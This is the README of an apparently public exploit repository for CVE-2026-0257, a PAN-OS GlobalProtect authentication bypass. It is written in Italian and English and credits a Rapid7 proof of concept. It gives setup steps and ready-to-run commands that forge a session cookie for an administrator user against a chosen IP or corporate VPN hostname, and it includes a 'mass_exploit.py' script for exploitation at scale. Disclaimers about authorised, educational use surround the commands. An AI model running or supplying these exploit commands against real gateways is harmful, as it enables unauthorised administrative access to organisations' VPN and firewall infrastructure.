CVE-2026-0257

Vulnerabilità di bypass dell'autenticazione GlobalProtect in PAN-OS

⚡ Uso Semplice

Utilizza questo progetto solo in ambienti sicuri e autorizzati, come:

• Macchine virtuali locali
• Container Docker
• Configurazioni di laboratorio isolate
• Ambienti di test di penetrazione autorizzati

Esempio di configurazione:

git clone https://github.com/HORKimhab/CVE-2026-0257
cd CVE-2026-0257

# Create virtual environment 
python -m venv venv 

# Active virtual environment  

# Linux / macOS: 
source venv/bin/activate

# Windows
venv\Scripts\activate

# Install requirments 
pip install -r requirements.txt

Esempio di utilizzo:

# Single target 
# Basic usage
python forge_cookie.py --target 192.168.1.100 --user admin

# Advanced usage
python forge_cookie.py --target vpn.company.com \
                       --port 443 \
                       --user administrator \
                       --context both \
                       --verbose

# Max exploit 
python mass_exploit.py

Crediti o Riferimenti

• https://github.com/sfewer-r7/CVE-2026-0257
• https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257/

📚 Repository Educativo di Ricerca sulla Sicurezza

Un repository per apprendere, testare e ricercare concetti di cybersecurity in ambienti controllati.

⚠️ Disclaimer di Sicurezza e Legale

Scopo

Questo repository è destinato esclusivamente a ricerca sulla sicurezza educativa e autorizzata.

È progettato per aiutare gli utenti a conoscere:

• Vulnerabilità di sicurezza
• Concetti di sandbox e isolamento
• Pratiche di codifica sicura e difensive

Solo Uso Autorizzato

Utilizza questo repository solo in ambienti in cui hai il permesso, come:

• Laboratori personali o macchine virtuali
• Ambienti Docker o isolati
• Test di penetrazione autorizzati
• Formazione sulla cybersecurity o ricerca accademica

L'uso non autorizzato o illegale è severamente vietato.

Nessuna Responsabilità

L'autore e i contributori non sono responsabili per qualsiasi danno, uso improprio, problemi legali o perdite causati da questo progetto.

Utilizzando questo repository, accetti che:

• Sei responsabile delle tue azioni
• Lo utilizzerai in modo legale ed etico
• Il progetto è fornito senza garanzia

Uso Etico

Questo progetto è pensato per:

• Ricerca sulla sicurezza difensiva
• Educazione alla cybersecurity
• Consapevolezza delle vulnerabilità
• Ricerca su sistemi e software sicuri

Si prega di seguire le pratiche di divulgazione responsabile e di rispettare tutte le leggi applicabili.

Contatti

Per divulgazione responsabile o collaborazione, contatta il maintainer del repository tramite GitHub.